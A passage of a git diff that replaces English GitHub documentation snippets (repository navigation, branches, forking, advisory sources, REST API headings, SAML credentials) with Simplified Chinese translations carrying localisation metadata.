-{% endif %} +1. 在左侧边栏中,单击“安全性和分析”。 + ![存储库设置中的“安全性和分析”选项卡](/assets/images/help/repository/security-and-analysis-tab.png) {% endif %} diff --git a/translations/zh-CN/data/reusables/repositories/navigate-to-commit-page.md b/translations/zh-CN/data/reusables/repositories/navigate-to-commit-page.md index d712c518b8..ec80031c2d 100644 --- a/translations/zh-CN/data/reusables/repositories/navigate-to-commit-page.md +++ b/translations/zh-CN/data/reusables/repositories/navigate-to-commit-page.md @@ -1,2 +1,10 @@ -1. On the main page of the repository, click {% octicon "history" aria-label="The history icon" %} **commits** to navigate to the commits page. - ![Screenshot of the repository main page with the commits emphasized](/assets/images/help/commits/commits-page.png) +--- +ms.openlocfilehash: af420b118bb0fcb0bdad8e2c88f02e5b546fa4f1 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147065224" +--- +1. 在存储库的主页上,单击提交以导航到提交页面。 + ![突出显示了提交的存储库主页的屏幕截图](/assets/images/help/commits/commits-page.png) diff --git a/translations/zh-CN/data/reusables/repositories/navigate-to-repo.md b/translations/zh-CN/data/reusables/repositories/navigate-to-repo.md index 6069ceab1f..e42a71fee7 100644 --- a/translations/zh-CN/data/reusables/repositories/navigate-to-repo.md +++ b/translations/zh-CN/data/reusables/repositories/navigate-to-repo.md @@ -1 +1,9 @@ -1. On {% data variables.location.product_location %}, navigate to the main page of the repository. +--- +ms.openlocfilehash: c76385e14b4b841b3e24342316a3026b3cd025d8 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145086804" +--- +1. 在 {% data variables.product.product_location %} 上,导航到存储库的主页。 diff --git a/translations/zh-CN/data/reusables/repositories/repository-branches.md b/translations/zh-CN/data/reusables/repositories/repository-branches.md index 3b0b72e5a1..69420fb4ee 100644 --- a/translations/zh-CN/data/reusables/repositories/repository-branches.md +++ b/translations/zh-CN/data/reusables/repositories/repository-branches.md @@ -1,6 +1,13 @@ -{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} -1. In the "Code and automation" section of the sidebar, click **{% octicon "git-branch" aria-label="The git-branch icon" %} Branches**. +--- +ms.openlocfilehash: ede6954e9d0e5ead951fc229e0e8f14920a5dec4 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145099425" +--- +{% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-5658 %} +1. 在边栏的“代码和自动化”部分中,单击“{% octicon "git-branch" aria-label="The git-branch icon" %} 分支”。 {% else %} -1. In the left menu, click **Branches**. -![Repository options sub-menu](/assets/images/help/repository/repository-options-branch.png) -{% endif %} +1. 在左侧菜单中,单击“分支”。 +![存储库选项子菜单](/assets/images/help/repository/repository-options-branch.png) {% endif %} diff --git a/translations/zh-CN/data/reusables/repositories/sidebar-notifications.md b/translations/zh-CN/data/reusables/repositories/sidebar-notifications.md index c2070bd5cd..9ee421b9b4 100644 --- a/translations/zh-CN/data/reusables/repositories/sidebar-notifications.md +++ b/translations/zh-CN/data/reusables/repositories/sidebar-notifications.md @@ -1,6 +1,13 @@ -{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} -1. In the "Integrations" section of the sidebar, click **{% octicon "mail" aria-label="The mail icon" %} Email notifications**. +--- +ms.openlocfilehash: 1da8beaeeff17f9e824bbbc71cf83d0f9e965b75 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147884937" +--- +{% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-5658 %} +1. 在侧边栏的“集成”部分,单击“{% octicon "mail" aria-label="The mail icon" %} 电子邮件通知”。 {% else %} -1. Click **Notifications**. -![Notifications button in sidebar](/assets/images/help/settings/notifications_menu.png) -{% endif %} +1. 单击“通知”。 +![侧边栏中的通知按钮](/assets/images/help/settings/notifications_menu.png) {% endif %} diff --git a/translations/zh-CN/data/reusables/repositories/squash-and-rebase-linear-commit-hisitory.md b/translations/zh-CN/data/reusables/repositories/squash-and-rebase-linear-commit-hisitory.md new file mode 100644 index 0000000000..488f6bc217 --- /dev/null +++ b/translations/zh-CN/data/reusables/repositories/squash-and-rebase-linear-commit-hisitory.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: a92ce8031a51b896af4fe254a2e9165779ea268b +ms.sourcegitcommit: 22d665055b1bee7a5df630385e734e3a149fc720 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145099370" +--- +如果你的存储库中有需要线性提交历史记录的受保护分支规则,则必须允许 Squash 合并和/或变基合并。 有关详细信息,请参阅“[关于受保护的分支](/github/administering-a-repository/about-protected-branches#require-pull-request-reviews-before-merging)”。 diff --git a/translations/zh-CN/data/reusables/repositories/suggest-changes.md b/translations/zh-CN/data/reusables/repositories/suggest-changes.md index 216fdd9ed7..65ea35d0db 100644 --- a/translations/zh-CN/data/reusables/repositories/suggest-changes.md +++ b/translations/zh-CN/data/reusables/repositories/suggest-changes.md @@ -1,2 +1,10 @@ -1. Optionally, to suggest a specific change to the line or lines, click {% octicon "file-diff" aria-label="The file diff icon" %}, then edit the text within the suggestion block. -![Suggestion block](/assets/images/help/pull_requests/suggestion-block.png) +--- +ms.openlocfilehash: caceb429327fac3fb540a78e363c70e13f5afcf2 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145099366" +--- +1. (可选)要建议对一行或多行进行特定更改,请单击 {% octicon "diff" aria-label="The diff symbol" %},然后对建议块中的文本进行编辑。 +![建议块](/assets/images/help/pull_requests/suggestion-block.png) diff --git a/translations/zh-CN/data/reusables/repositories/tracks-vulnerabilities.md b/translations/zh-CN/data/reusables/repositories/tracks-vulnerabilities.md index b16edca7be..49f462f830 100644 --- a/translations/zh-CN/data/reusables/repositories/tracks-vulnerabilities.md +++ b/translations/zh-CN/data/reusables/repositories/tracks-vulnerabilities.md @@ -1,12 +1,13 @@ -We add advisories to the {% data variables.product.prodname_advisory_database %} from the following sources: -- Security advisories reported on {% data variables.product.prodname_dotcom %} -- The [National Vulnerability database](https://nvd.nist.gov/) -- The [npm Security advisories database](https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm) -- The [FriendsOfPHP database](https://github.com/FriendsOfPHP/security-advisories) -- The [Go Vulncheck database](https://pkg.go.dev/golang.org/x/vuln/vulncheck) -- The [Python Packaging Advisory database](https://github.com/pypa/advisory-database) -- The [Ruby Advisory database](https://rubysec.com/) -- The [RustSec Advisory database](https://rustsec.org/) -- Community contributions. For more information, see [https://github.com/github/advisory-database/pulls](https://github.com/github/advisory-database/pulls). - -If you know of another database we should be importing advisories from, tell us about it by opening an issue in [https://github.com/github/advisory-database](https://github.com/github/advisory-database). +--- +ms.openlocfilehash: 76df31da97bc29eefed3ce3fd57aa61b8802338c +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "146455276" +--- +我们从以下来源向 {% data variables.product.prodname_advisory_database %} 添加公告信息: +- [国家漏洞数据库](https://nvd.nist.gov/) +- 机器学习和人工审查结合检测 {% data variables.product.prodname_dotcom %} 上公共提交中的漏洞 +- {% data variables.product.prodname_dotcom %} 上报告的安全通告 +- [npm 安全通知](https://www.npmjs.com/advisories)数据库 diff --git a/translations/zh-CN/data/reusables/repositories/you-can-fork.md b/translations/zh-CN/data/reusables/repositories/you-can-fork.md index a38402202e..65fe735433 100644 --- a/translations/zh-CN/data/reusables/repositories/you-can-fork.md +++ b/translations/zh-CN/data/reusables/repositories/you-can-fork.md @@ -1,9 +1,14 @@ -{% ifversion ghae %} -If the policies for your enterprise permit forking private and internal repositories, you can fork a repository to your personal account or an organization where you have repository creation permissions. For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)." +--- +ms.openlocfilehash: 7ab0c705855f1bd271c17eacc9a2533184d1b5f1 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145099344" +--- +{% ifversion ghae %} 如果企业的策略允许为专用和内部存储库创建分支,可以将存储库分支创建到个人帐户或你拥有存储库创建权限的组织。 有关详细信息,请参阅“[组织中的角色](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)”。 -{% elsif ghes or ghec %} -You can fork a private or internal repository to your personal account or an organization on {% data variables.location.product_location %} where you have repository creation permissions, if settings for the repository and your enterprise policies allow forking. +{% elsif ghes or ghec %} 如果存储库和企业策略设置允许创建分支,可以将专用或内部存储库分支创建到个人帐户或 {% data variables.product.product_location %} 上你拥有存储库创建权限的组织。 -{% elsif fpt %} -If you have access to a private repository and the owner permits forking, you can fork the repository to your personal account, or an organization on {% data variables.product.prodname_team %} where you have repository creation permissions. You cannot fork a private repository to an organization using {% data variables.product.prodname_free_team %}. For more information, see "[GitHub's products](/articles/githubs-products)." +{% elsif fpt %} 如果有权访问专用存储库并且所有者允许创建分支,可以将存储库分支创建到个人帐户,或 {% data variables.product.prodname_team %} 上你拥有存储库创建权限的组织。 不能使用 {% data variables.product.prodname_free_team %} 将专用存储库分支创建到组织。 有关详细信息,请参阅“[GitHub 的产品](/articles/githubs-products)”。 {% endif %} diff --git a/translations/zh-CN/data/reusables/rest-api/dotcom-only-guide-note.md b/translations/zh-CN/data/reusables/rest-api/dotcom-only-guide-note.md new file mode 100644 index 0000000000..ae83ed9519 --- /dev/null +++ b/translations/zh-CN/data/reusables/rest-api/dotcom-only-guide-note.md @@ -0,0 +1,21 @@ +--- +ms.openlocfilehash: 5cbc48e80c619e40633c439535319ebf617c7d04 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145099339" +--- +{% ifversion not fpt or ghec %} + +{% note %} + +**注意**:以下指南对 {% data variables.product.prodname_dotcom_the_website %} 使用 REST API。 + +- 使用 {% data variables.product.api_url_pre %} 访问 {% data variables.product.product_name %} 的 API。 + +- 指南指定了可能在 {% data variables.product.product_location %} 上不存在的用户名和仓库。 您可能需要使用不同的名称才能看到类似的输出。 + +{% endnote %} + +{% endif %} diff --git a/translations/zh-CN/data/reusables/rest-reference/apps/oauth-applications.md b/translations/zh-CN/data/reusables/rest-reference/apps/oauth-applications.md new file mode 100644 index 0000000000..2f3176a4ad --- /dev/null +++ b/translations/zh-CN/data/reusables/rest-reference/apps/oauth-applications.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 742c843cbe0d444c399ca9b6e66217505364e028 +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141506037" +--- +## OAuth 应用程序 API + +您可以使用此 API 来管理 OAuth 应用程序用于访问人们在 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 上的帐户的 OAuth 令牌。 \ No newline at end of file diff --git a/translations/zh-CN/data/reusables/rest-reference/branches/branch-protection.md b/translations/zh-CN/data/reusables/rest-reference/branches/branch-protection.md new file mode 100644 index 0000000000..646090aff5 --- /dev/null +++ b/translations/zh-CN/data/reusables/rest-reference/branches/branch-protection.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: ba042af7b3a807e6968dd7e6ae443c536c21a9ee +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141506034" +--- +## 受保护的分支 \ No newline at end of file diff --git a/translations/zh-CN/data/reusables/rest-reference/checks/runs.md b/translations/zh-CN/data/reusables/rest-reference/checks/runs.md new file mode 100644 index 0000000000..91e2e5b610 --- /dev/null +++ b/translations/zh-CN/data/reusables/rest-reference/checks/runs.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 2aef5fd9fc9ce8aa15442f7f1a839d71a64ae56a +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141506032" +--- +## 检查运行 \ No newline at end of file diff --git a/translations/zh-CN/data/reusables/rest-reference/deployments/statuses.md b/translations/zh-CN/data/reusables/rest-reference/deployments/statuses.md new file mode 100644 index 0000000000..079bc0087d --- /dev/null +++ b/translations/zh-CN/data/reusables/rest-reference/deployments/statuses.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 35e67b501ea424c16c741362b0f29ac63f12e6af +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141505579" +--- +## 部署状态 \ No newline at end of file diff --git a/translations/zh-CN/data/reusables/rest-reference/enterprise-admin/audit-log.md b/translations/zh-CN/data/reusables/rest-reference/enterprise-admin/audit-log.md new file mode 100644 index 0000000000..a20f84cbe1 --- /dev/null +++ b/translations/zh-CN/data/reusables/rest-reference/enterprise-admin/audit-log.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 568c1162a3f373d6c1ec8836aa6a7fe24503a9d7 +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141506018" +--- +## 审核日志 \ No newline at end of file diff --git a/translations/zh-CN/data/reusables/rest-reference/enterprise-admin/billing.md b/translations/zh-CN/data/reusables/rest-reference/enterprise-admin/billing.md new file mode 100644 index 0000000000..ffc3b82bd6 --- /dev/null +++ b/translations/zh-CN/data/reusables/rest-reference/enterprise-admin/billing.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: ff95cb543f9b4f25e7d594895a329073d71c4055 +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141506017" +--- +## 计费 \ No newline at end of file diff --git a/translations/zh-CN/data/reusables/rest-reference/interactions/interactions.md b/translations/zh-CN/data/reusables/rest-reference/interactions/interactions.md new file mode 100644 index 0000000000..cd99bf8d85 --- /dev/null +++ b/translations/zh-CN/data/reusables/rest-reference/interactions/interactions.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 941f02bff8a42a6fb599eb7af194512b1bd04b77 +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141508934" +--- +用户通过评论、开设议题和创建拉取请求与仓库进行交互。 交互 API 允许具有公共仓库所有者或具有管理员访问权限的用户临时将与公共仓库的交互限于特定类型的用户。 \ No newline at end of file diff --git a/translations/zh-CN/data/reusables/rest-reference/issues/assignees.md b/translations/zh-CN/data/reusables/rest-reference/issues/assignees.md new file mode 100644 index 0000000000..89c6c306f5 --- /dev/null +++ b/translations/zh-CN/data/reusables/rest-reference/issues/assignees.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 76d5c91204504fbc7d08a6c7c7d178fac10eeec6 +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141508930" +--- +## 受理人 \ No newline at end of file diff --git a/translations/zh-CN/data/reusables/rest-reference/issues/labels.md b/translations/zh-CN/data/reusables/rest-reference/issues/labels.md new file mode 100644 index 0000000000..552e87434b --- /dev/null +++ b/translations/zh-CN/data/reusables/rest-reference/issues/labels.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 5ec9929972207d4c6cc5ae088d6002eeca97e2ad +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141508797" +--- +## 标签 \ No newline at end of file diff --git a/translations/zh-CN/data/reusables/rest-reference/issues/milestones.md b/translations/zh-CN/data/reusables/rest-reference/issues/milestones.md new file mode 100644 index 0000000000..3e8d36ba5c --- /dev/null +++ b/translations/zh-CN/data/reusables/rest-reference/issues/milestones.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 51d827c82f4e42ecb8ef4ad0b59a34455c9eda16 +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141508796" +--- +## 里程碑 \ No newline at end of file diff --git a/translations/zh-CN/data/reusables/rest-reference/metrics/community.md b/translations/zh-CN/data/reusables/rest-reference/metrics/community.md new file mode 100644 index 0000000000..4b90ff4b9e --- /dev/null +++ b/translations/zh-CN/data/reusables/rest-reference/metrics/community.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 9d03b28ab94f5e5dbf394b5f385fd7cc6b54182a +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141506016" +--- +## 社区 \ No newline at end of file diff --git a/translations/zh-CN/data/reusables/rest-reference/orgs/custom_roles.md b/translations/zh-CN/data/reusables/rest-reference/orgs/custom_roles.md new file mode 100644 index 0000000000..f3e1524c42 --- /dev/null +++ b/translations/zh-CN/data/reusables/rest-reference/orgs/custom_roles.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 1a4a1f76f7be91a22aa16b8164a5a8b0a12650d8 +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141506401" +--- +## 自定义存储库角色 \ No newline at end of file diff --git a/translations/zh-CN/data/reusables/rest-reference/orgs/members.md b/translations/zh-CN/data/reusables/rest-reference/orgs/members.md new file mode 100644 index 0000000000..010ae0aba3 --- /dev/null +++ b/translations/zh-CN/data/reusables/rest-reference/orgs/members.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: b1108e7758673fd241c3b6f57a3548089e28ed68 +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141507885" +--- +## 成员 \ No newline at end of file diff --git a/translations/zh-CN/data/reusables/rest-reference/orgs/outside-collaborators.md b/translations/zh-CN/data/reusables/rest-reference/orgs/outside-collaborators.md new file mode 100644 index 0000000000..0df1183277 --- /dev/null +++ b/translations/zh-CN/data/reusables/rest-reference/orgs/outside-collaborators.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 64221732516e6ce91efa5f12095bda9841acc6db +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141507884" +--- +## 外部协作者 \ No newline at end of file diff --git a/translations/zh-CN/data/reusables/rest-reference/projects/cards.md b/translations/zh-CN/data/reusables/rest-reference/projects/cards.md new file mode 100644 index 0000000000..a4bf2d3242 --- /dev/null +++ b/translations/zh-CN/data/reusables/rest-reference/projects/cards.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 3671f6348cd8d952df0ba0d1dda362b2ccb19aef +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141503129" +--- +## 卡片 \ No newline at end of file diff --git a/translations/zh-CN/data/reusables/rest-reference/projects/collaborators.md b/translations/zh-CN/data/reusables/rest-reference/projects/collaborators.md new file mode 100644 index 0000000000..d71e4451be --- /dev/null +++ b/translations/zh-CN/data/reusables/rest-reference/projects/collaborators.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 75495053a171f4d26fdd03fa0c3e4bed814ca779 +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141507083" +--- +## 协作者 + +此 API 允许您与组织的项目进行交互。 \ No newline at end of file diff --git a/translations/zh-CN/data/reusables/rest-reference/projects/columns.md b/translations/zh-CN/data/reusables/rest-reference/projects/columns.md new file mode 100644 index 0000000000..cad03f1121 --- /dev/null +++ b/translations/zh-CN/data/reusables/rest-reference/projects/columns.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 0063a5c0cbdf6ced1742b529d05988380628edc2 +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141507082" +--- +## 列 \ No newline at end of file diff --git a/translations/zh-CN/data/reusables/rest-reference/pulls/review-requests.md b/translations/zh-CN/data/reusables/rest-reference/pulls/review-requests.md new file mode 100644 index 0000000000..6a3efcc1f8 --- /dev/null +++ b/translations/zh-CN/data/reusables/rest-reference/pulls/review-requests.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 0359d8beb8deb48971bfe2f0d6a599393fa286eb +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141506528" +--- +## 审查请求 + +拉取请求作者以及仓库所有者和协作者可以向具有仓库写入权限的任何人请求拉取请求审查。 每个被请求的审查者将收到您要求他们审查拉取请求的通知。 \ No newline at end of file diff --git a/translations/zh-CN/data/reusables/rest-reference/repos/forks.md b/translations/zh-CN/data/reusables/rest-reference/repos/forks.md new file mode 100644 index 0000000000..0564f7224e --- /dev/null +++ b/translations/zh-CN/data/reusables/rest-reference/repos/forks.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: ebb1ef5a1a698f7032f8d9c7b8e2b3757dedab28 +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141507377" +--- +## 前叉 \ No newline at end of file diff --git a/translations/zh-CN/data/reusables/rest-reference/repos/lfs.md b/translations/zh-CN/data/reusables/rest-reference/repos/lfs.md new file mode 100644 index 0000000000..9b0b16f38a --- /dev/null +++ b/translations/zh-CN/data/reusables/rest-reference/repos/lfs.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 2137951f55f13288f4593fb2147910dc26efa3f8 +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141507376" +--- + +## Git LFS \ No newline at end of file diff --git a/translations/zh-CN/data/reusables/rest-reference/users/blocking.md b/translations/zh-CN/data/reusables/rest-reference/users/blocking.md new file mode 100644 index 0000000000..0bc1eadf09 --- /dev/null +++ b/translations/zh-CN/data/reusables/rest-reference/users/blocking.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: a8c8fe509fde22bbabc2588d6ae3ec3840eb9b42 +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141508793" +--- +## 阻止用户 \ No newline at end of file diff --git a/translations/zh-CN/data/reusables/rest-reference/users/emails.md b/translations/zh-CN/data/reusables/rest-reference/users/emails.md new file mode 100644 index 0000000000..895b49a415 --- /dev/null +++ b/translations/zh-CN/data/reusables/rest-reference/users/emails.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 756400314952297b37a02709efee9b4133b04439 +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141508924" +--- +## 电子邮件 + +通过 API 管理电子邮件地址要求您通过基本身份验证进行验证,或者使用端点的正确范围通过 OAuth 进行身份验证。 \ No newline at end of file diff --git a/translations/zh-CN/data/reusables/rest-reference/users/followers.md b/translations/zh-CN/data/reusables/rest-reference/users/followers.md new file mode 100644 index 0000000000..22ae57dc38 --- /dev/null +++ b/translations/zh-CN/data/reusables/rest-reference/users/followers.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 9b1fb6c75ed10de4e34b2ad8a19de747388e00cd +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141508923" +--- +## 关注者 \ No newline at end of file diff --git a/translations/zh-CN/data/reusables/rest-reference/users/keys.md b/translations/zh-CN/data/reusables/rest-reference/users/keys.md new file mode 100644 index 0000000000..97c4fed9fe --- /dev/null +++ b/translations/zh-CN/data/reusables/rest-reference/users/keys.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 880b000bfd82c3346616864ad25500abb0a81297 +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141508921" +--- +## Git SSH 密钥 \ No newline at end of file diff --git a/translations/zh-CN/data/reusables/rest-reference/webhooks/repos.md b/translations/zh-CN/data/reusables/rest-reference/webhooks/repos.md new file mode 100644 index 0000000000..1f5eecbbcb --- /dev/null +++ b/translations/zh-CN/data/reusables/rest-reference/webhooks/repos.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 355c219f219ae287976e490d434b2cf7d70dd5c5 +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141508917" +--- +## 仓库 web 挂钩 \ No newline at end of file diff --git a/translations/zh-CN/data/reusables/saml/about-authorized-credentials.md b/translations/zh-CN/data/reusables/saml/about-authorized-credentials.md index 87664ef3bc..c529c5ae78 100644 --- a/translations/zh-CN/data/reusables/saml/about-authorized-credentials.md +++ b/translations/zh-CN/data/reusables/saml/about-authorized-credentials.md @@ -1 +1,9 @@ -You can see each {% data variables.product.pat_generic %} and SSH key that a member has authorized for API and Git access. Only the last several characters of each token or key are visible. If necessary, work with the member to determine which credentials you should revoke. +--- +ms.openlocfilehash: ac85c101df8f64a7d5e69202cd0c5280bb956b96 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145129616" +--- +您可以看到被授权进行 API 和 Git 访问的每个个人访问令牌和 SSH 密钥。 每个令牌或密钥只有最后几个字符可见。 如有必要,与该成员合作确定您应撤销哪些凭据。 diff --git a/translations/zh-CN/data/reusables/saml/about-linked-identities.md b/translations/zh-CN/data/reusables/saml/about-linked-identities.md index e1a8512bad..cf495adf08 100644 --- a/translations/zh-CN/data/reusables/saml/about-linked-identities.md +++ b/translations/zh-CN/data/reusables/saml/about-linked-identities.md @@ -1,3 +1,11 @@ -You can view the single sign-on identity that a member has linked to their account on {% data variables.location.product_location %}. +--- +ms.openlocfilehash: bb556d0f51869d61db7d0aa1fcaa4c294303581d +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145099333" +--- +可查看成员已关联到其 {% data variables.product.product_location %} 帐户的单一登录标识。 -If a member links the wrong identity to their account on {% data variables.location.product_location %}, you can revoke the linked identity to allow the member to try again. +如果成员将错误的标识关联到其 {% data variables.product.product_location %} 帐户,你可以撤销关联的标识以允许该成员重试。 diff --git a/translations/zh-CN/data/reusables/saml/about-saml-access-enterprise-account.md b/translations/zh-CN/data/reusables/saml/about-saml-access-enterprise-account.md index 08cacea2fa..d062a4b1ec 100644 --- a/translations/zh-CN/data/reusables/saml/about-saml-access-enterprise-account.md +++ b/translations/zh-CN/data/reusables/saml/about-saml-access-enterprise-account.md @@ -1 +1,9 @@ -To access each organization's resources on {% data variables.product.product_name %}, the member must have an active SAML session in their browser. To access each organization's protected resources using the API and Git, the member must use a {% data variables.product.pat_generic %} or SSH key that the member has authorized for use with the organization. Enterprise owners can view and revoke a member's linked identity, active sessions, or authorized credentials at any time. +--- +ms.openlocfilehash: 94a2fb153d6929e6e319a10b95dfb4fb99ab949d +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145129615" +--- +要在 {% data variables.product.product_name %} 